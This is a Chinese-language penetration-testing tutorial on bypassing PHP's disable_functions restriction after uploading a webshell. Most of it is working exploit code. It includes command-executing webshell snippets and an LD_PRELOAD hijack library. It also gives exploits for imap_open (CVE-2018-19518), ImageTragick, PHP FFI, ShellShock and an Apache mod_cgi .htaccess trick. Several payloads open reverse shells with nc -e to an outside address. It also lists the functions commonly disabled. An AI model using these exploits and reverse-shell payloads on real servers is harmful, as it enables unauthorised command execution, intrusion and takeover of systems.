为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等
如果在渗透时,上传了webshell却因为disable_functions禁用了我们函数,这时候就需要去进行一个绕过。
disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。
绕过方式分类
常规绕过:exec,shell_exec,system,passthru,popen,proc_open利用环境变量LD_PRELOAD绕过(★):mail,imap_mail,error_log,mb_send_mail利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)利用系统组件window com绕过利用Apache+mod_cgi+.htaccess绕过利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过利用 ShellShock绕过(CVE-2014-6271)蚁剑插件
No.3 常规绕过
exec,shell_exec,system,passthru,popen,proc_open
1. exec
<?phpecho exec(‘whoami‘);?>
2. shell_exec
<?phpecho shell_exec(‘whoami‘);?>
3. system
<?phpsystem(‘whoami‘);?>
4. passthru
<?phppassthru("whoami");?>
5. popen
<?php$command=$_POST[‘cmd‘];$handle = popen($command , "r");while(!feof($handle)) { echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle);?>
6. proc_open
<?php$command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?>
No.4 利用环境变量LD_PRELOAD绕过
mail,imap_mail,error_log,mb_send_mail
1. mail
1. 前提条件
linux环境putenv()、mail()可用
2. 基本原理
当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令
3. 利用步骤
下载bypass_disablefunc.php和bypass_disablefunc_x64.so,并上传到目标服务器执行命令
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
cmd: 执行的命令outpath: 读写权限目录sopath: so文件的绝对路径
3. imagemagick+GhostScript
exp
<?phpputenv(‘LD_PRELOAD=/var/www/html/imag.so‘);$img = new Imagick(‘/tmp/1.ps‘);?>
其中 imag.c文件需要编译,命令如下
gcc -shared -fPIC imag.c -o imag.so
imag.c代码
#include <stdlib.h>#include <string.h>void payload() {const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444"; system(cmd);}int fileno() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}
No.5 利用pcntl_exec绕过
1. 前提条件
PHP安装并启用了pcntl插件
2. 基本原理
利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而绕过disable_functions
3. exp
exp.php
#利用pcntl_exec()执行test.sh<?phpif(function_exists(‘pcntl_exec‘)) {pcntl_exec("/bin/bash", array("/tmp/test.sh"));} else { echo ‘pcntl extension is not support!‘;}?>
test.sh
#!/bin/bashnc -e /bin/bash 1.1.1.1 8888 #反弹shell
No.6 利用imap_open函数任意命令执行
1. 前提条件
目标开启了imap扩展,并支持imap_open()函数
2. 基本原理
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。
3. exp
<?phperror_reporting(0);if (!function_exists(‘imap_open‘)) {die("no imap_open function!");}$server = "x -oProxyCommand=echo\t" . base64_encode($_GET[‘cmd‘] . ">/tmp/cmd_result") . "|base64\t-d|sh}";imap_open(‘{‘ . $server . ‘:143/imap}INBOX‘, ‘‘, ‘‘);sleep(5);echo file_get_contents("/tmp/cmd_result");?>
No.7 利用系统组件window com绕过
1. 利用条件
Windowsphp5.x支持COM组件
2. 基本原理
COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。
3. exp
<?php$command=$_GET[‘a‘];$wsh = new COM(‘WScript.shell‘); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();print($stroutput);?>
No.8 利用Apache+mod_cgi+.htaccess绕过
1. 前提条件
启用mod-cgi允许.htaccess文件.htaccess可写2. 基本原理
在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
3. exp
<?php$cmd = "nc -c‘/bin/bash‘ 127.0.0.1 4444"; //反弹shell$shellfile ="#!/bin/bash\n"; //指定shell$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500$shellfile .="$cmd";functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter{echo "$text: " . ($condition ?$yes : $no) . "<br>\n";}if(!isset($_GET[‘checked‘])){ @file_put_contents(‘.htaccess‘,"\nSetEnv HTACCESS on", FILE_APPEND); header(‘Location: ‘ . $_SERVER[‘PHP_SELF‘]. ‘?checked=true‘); //执行环境的检查}else{ $modcgi = in_array(‘mod_cgi‘,apache_get_modules()); // 检测mod_cgi是否开启 $writable = is_writable(‘.‘); //检测当前目录是否可写 $htaccess = !empty($_SERVER[‘HTACCESS‘]);//检测是否启用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件 } else {checkEnabled("Backingup.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in.htaccess.bak","Failed!"); //备份一下原有.htaccesscheckEnabled("Write.htaccessfile",file_put_contents(‘.htaccess‘,"Options+ExecCGI\nAddHandlercgi-script.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名 checkEnabled("Write shellfile",file_put_contents(‘shell.dizzle‘,$shellfile),"Succeeded!","Failed!");//写入文件 checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限 echo "Executing the script now.Check your listener <img src = ‘shell.dizzle‘ style =‘display:none;‘>"; //调用 }}?>
No.9 利用ImageMagick漏洞绕过
1.利用条件
Imagick <= 3.3.0PHP >= 5.4
2.基本原理
ImageTragick(CVE-2016-3714)漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。
3.exp
<?phpecho "Disable Functions: " . ini_get(‘disable_functions‘) . "\n";$command = PHP_SAPI == ‘cli‘ ? $argv[1] : $_GET[‘cmd‘];if ($command == ‘‘) {$command = ‘id‘;}$exploit = <<<EOFpush graphic-contextviewbox 0 0 640 480fill ‘url(https://example.com/image.jpg"|$command")‘pop graphic-contextEOF;file_put_contents("KKKK.mvg", $exploit);$thumb = new Imagick();$thumb->readImage(‘KKKK.mvg‘);$thumb->writeImage(‘KKKK.png‘);$thumb->clear();$thumb->destroy();unlink("KKKK.mvg");unlink("KKKK.png");?>
No.10 利用ImageMagick漏洞绕过
1.利用条件
php 7.4ffi.enable=true
2.基本原理
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
3.exp
<?php// create FFI object, loading libc and exporting function printf()$ffi = FFI::cdef("int system(char *command);", // this is a regular C declaration "libc.so.6");// call C‘s printf()$a=‘nc -e /usr/bin/zsh 127.0.0.1 8888‘;$ffi->system($a);?>
No.11 利用 ShellShock绕过
1. 前提条件
目标OS存在Bash破壳(CVE-2014-6271)漏洞PHP 5.*linuxputenv()、mail()可用
2. 基本原理
一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行php里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
3. exp
<?phpfunction shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>
No.12 蚁剑插件市场
蚁剑插件市场也有一些绕过插件
01利用LD_PRELOAD环境变量02利用ShellShock(CVE-2014-6271)03利用Apache Mod CGI04 PHP-FPM利用LD_PRELOAD环境变量(同1)05攻击PHP-FPM监听端口06 Json Serializer UAF07具有特定析构函数UAF的PHP7 GC